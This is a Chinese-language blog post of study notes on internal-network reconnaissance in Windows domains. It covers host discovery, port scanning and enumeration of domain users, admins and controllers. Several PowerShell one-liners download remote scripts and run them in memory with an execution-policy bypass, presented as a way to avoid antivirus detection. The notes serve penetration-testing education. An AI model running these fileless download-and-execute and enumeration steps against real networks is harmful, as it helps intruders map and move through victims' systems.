内网信息收集之域相关信息收集一
/0x00 参考
《内网安全攻防》笔记。
0x01 判断是否存在域
获得本机相关信息之后,就要判断当前内网中是否存在域。如果当前内网存在域,则需要判断所控主机是否在域内。
ipconfig命令
1 | ipconfig /all |
使用该命令即可查看网管IP、DNS IP、域名、本机是否和DNS服务器出于同一网段等信息。
然后就可以通过反向解析命令nslookup来解析域名的IP地址,用解析得到的IP地址进行对比,判断DC和DNS服务是否在同一台服务器上。
查看系统详细信息
1 | systeminfo |
显示项的“域”即域名,“登录服务器”即域控制器。若“域”为“WORKGROUP”则表示当前机器不在域内。
查询当前登录域及登录用户信息
1 | net config workstation |
显示项的“工作站域 DNS 名称”即域名(若为“WORKGROUP”则表示不在域中),“登录域”用于表示当前登录的用户是域用户还是本地用户。
判断主域
1 | net time /domain |
该命令用于判断主域(域服务器通常会同时作为时间服务器使用),执行后通常会有如下三种情况:
1、存在域,但当前用户不是域用户。
2、存在域,且当前用户是域用户。
3、当前网络环境为工作组,不存在域。
0x02 探测域内存活主机
在进行域内存活主机探测的时候,有几个注意点:
- 尽量避免触发域内的一些防病毒软件的告警和拦截;
- 在非授权情况下,避免使用工具进行暴力扫描;
- 尽量避免在目标机子上使用图形化工具;
- 尽量使用系统自带的工具进行探测,如powershell脚本;
利用NetBIOS探测内网
NetBIOS,为网上基本输入输出系统(Network Basic Input/Output System)的缩写,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,NetBIOS不是一种网上协议,而是应用程序接口(API)。较古老的操作系统,使用IEEE 802.2与IPX/SPX协议,可以使用NetBIOS Frames协议或NetBIOS over IPX/SPX协议来运作。现代操作系统,多数都使用TCP/IP协议,则可透过NetBIOS over TCP/IP协议来相互通信。
几乎所有的局域网都是基于NetBIOS基础上进行工作的,NetBIOS的工作流程就是正常的机器名解析查询应答过程,因此在内网探测域内存活主机时优先使用NetBIOS进行探测。
nbtscan是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。其有Windows版本和Linux版本,体积很小,且不需要特殊的库或DLL,使用简单,无参输入nbtscan.exe
即可查看帮助文档。
将nbtscan上传到内网目标主机,然后直接在指定目标IP段进行扫描即可:
Linux版本是一样的,这里看Kali默认的:
具体参数说明如下表:
Token | 含义 |
---|---|
SHARING | 该机器中有运行文件和打印共享服务,但不一定有内容共享 |
DC | 该机器可能是域控制器 |
U=USER | 该机器有登录名为 USER 的用户(不是太准确) |
IIS | 该机器可能安装了 IIS 服务器 |
EXCHANGE | 该机器可能安装了微软的 EXCHANGE |
NOTES | 该机器可能安装了 IBM 的 LOTUS NOTES(电子邮件客户端) |
? | 没有识别出该机器的 NETBIOS 资源 |
利用ICMP协议探测内网
即使用ping来探测内网。
可以使用如下命令循环探测内网C段:
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=" |
也可以使用VBS脚本进行探测,icmp.vbs:
1 | strSubNet = "192.168.1." |
不同场景改下IP段即可,扫描结果默认保存在C:\Windows\Temp\Result.txt中:
利用ARP探测内网
这里介绍3个工具。
arp-scan
Windows下运行:
Linux版的参考Kali中自带的即可:
Empire中的arpscan模块
Empire中内置了arpscan模块,用于在局域网内发送ARP数据包、收集活跃主机的IP地址和MAC地址信息。
在Empire中输入命令如下命令即可使用arpscan模块:usemodule powershell/situational_awareness/network/arpscan
Nishang中的Invoke-ARPScan.ps1脚本
新版Nishang下的脚本:https://github.com/samratashok/nishang/tree/master/Scan
远程下载运行:
1 | powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(' http://192.168.1.1/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.1.0/20" >> c:\windows\temp\log.txt |
本地运行:
1 | powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\windows\temp\log.txt |
无条件运行,即不下载到本地硬盘而是在内存中运行,不触发防护软件的检测:
1 | powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt" |
利用TCP/UDP端口扫描探测内网
ScanLine是一个同时支持TCP和UDP端口扫描的体积小的端口扫描工具,可以在所有版本的Windows上使用。
1 | sl -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\sl_res.txt -p 192.168.1.1-254 /b |
0x03 域内端口扫描
一般端口扫描需要关注如下三点:
- 端口的Banner信息;
- 端口上运行的服务;
- 常见服务的默认端口号;
在内网渗透中,建议使用Metasploit内置的端口扫描或者通过上传端口扫描工具或者根据服务器环境自定义扫描脚本来进行扫描。在授权的情况下,可以使用Nmap和Masscan等工具进行扫描。
利用telnet进行扫描
Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。
一般,若想快速探测某主机的某个常见服务端口是否开放,此时使用telnet扫描最为方便。
S扫描器
S扫描器是较老的一款快速端口扫描工具,支持大网段扫描,适用于Windows Server 2003及以下版本的系统(以上版本速度较慢、会有点报错)。
S扫描器的扫描结果默认保存在其目录下的result.txt文件中,推荐使用TCP扫描,命令如下:
1 | S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save |
Metasploit端口扫描
Metasploit不仅提供了多种端口扫描技术,还提供了与其他扫描工具的接口。
使用search portscan
命令即可搜索出相关模块:
利用auxiliary/scanner/portscan/tcp
模块扫描示例:
PowerSploit的Invoke-Portscan.ps1脚本
推荐使用无文件的形式来进行扫描:
1 | powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt" |
下载地址如果是无法连外网的内网自己可自行修改为内网其他的可访问的Web服务地址。
Nishang的Invoke-PortScan模块
作为Nishang的端口扫描模块,Invoke-PortScan模块主要用于主机发现、解析主机名、扫描端口等。
Nishang项目地址:https://github.com/samratashok/nishang
可以输入Get-Help Invoke-PortScan -full
命令查看使用教程。使用的时候需要先将模块先导入到当前powershell会话中。
几个参数如下:
- StartAddress:范围扫描起始地址;
- EndAddress:范围扫描结束地址;
- ScanPort:进行端口扫描;
- Port:指定端口扫描,默认扫描常见服务端口;
- Timeout:设置超时时间;
可以全部导入,扫描指定范围局域网内存活主机并解析主机名:
1 | PS C:\nishang> Import-Module .\nishang.psm1 |
也可以单个导入:
1 | PS C:\nishang> . C:\nishang\Scan\Invoke-PortScan.ps1 |
端口Banner信息小结
通过端口扫描发现存在的端口后,可以使用客户端连接工具或者nc来获取服务端的Banner信息。通过Banner信息识别出特定服务再进行进一步的渗透测试。
常见端口说明如下:
0x04 域内基础信息收集
确定了当前内网拥有的域,并且所控制的主机在域内,就能进行域内一些基础信息的收集了。
注意:本小节列出的查询命令本质上都是通过LDAP协议到域控制器上进行查询的,因此在查询时是需要进行权限认证的。此时,只有域用户才拥有权限查询,本地用户是无法运行本小节的查询命令的,当然System权限用户除外。在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上$
。System权限用户对应的就是域里的机器用户,所以System权限用户可以运行需要权限认证的查询命令。
查询域
1 | net view /domain |
查询域内所有主机
如下命令可以通过查询得到的主机名对主机角色进行初步判断,比如”dev”可能是开发服务器,”web”、”app”等可能是Web服务器,”NAS”可能是存储服务器,”fileserver”可能是文件服务器等:
1 | net view /domain:HACKER |
查询域内所有用户组列表
1 | net group /domain |
系统自带的常见用户身份如下:
- Domain Admins:域管理员;
- Domain Computers:域内机器;
- Domain Controllers:域控制器;
- Domain Guests:域访客,权限较低;
- Domain Users:域用户;
- Enterprise Admins:企业系统管理员用户;
可以看到有13个用户组:
查询所有域成员计算机列表
1 | net group "domain computers" /domain |
获取域密码相关信息
如下命令可以获取域密码策略、密码长度、错误锁定等信息:
1 | net accounts /domain |
获取域信任信息
1 | nltest /domain_trusts |
0x05 查找域控制器
查找域控制器的机器名
1 | nltest /DCLIST:hacker |
获取域控制器的机器名为”DC”:
查看域控制器的主机名
1 | Nslookup -type=SRV _ldap._tcp |
运行后看到域控制器的主机名为”dc”:
查看当前时间
一般的,时间服务器为主域控制器。
1 | net time /domain |
查看域控制器组
1 | net group "Domain Controllers" /domain |
在实际环境中,一个域内是存在两台或以上的域控制器,用以实现主备。
1 | netdom query pdc |
这里可以看到主域控制器的机器名为”DC”(注意,win7中默认没有netdom命令,winserver有):
0x06 查询域内用户和管理员信息
查询所有域用户列表
向域控制器进行查询
如下命令会向域控制器DC进行查询:
1 | net user /domain |
运行后发现域内存在4个用户,其中krbtgt用户不仅可以创建票据授权服务(TGS)的加密密钥、还可以实现多种域内权限持久化方法:
获取域内用户的详细信息
如下命令可获取域内用户的详细信息,包括用户名、描述信息、SID、域名、状态等:
1 | wmic useraccount get /all |
查询存在的用户
1 | dsquery user |
dsquery是AD的命令,只能在AD上使用:
查询本地管理员组用户
1 | net localgroup administrators /domain |
执行后看到本地管理员组存在两个用户和一个组:
Domain Admins组中的用户默认为域内机器的本地管理员用户。在实际应用中,为了方便管理,会有域用户被设置为域机器的本地管理员用户。
查询域管理员用户组
查询域管理员用户
1 | net group "domain admins" /domain |
查询管理员用户组
1 | net group "Enterprise Admins" /domain |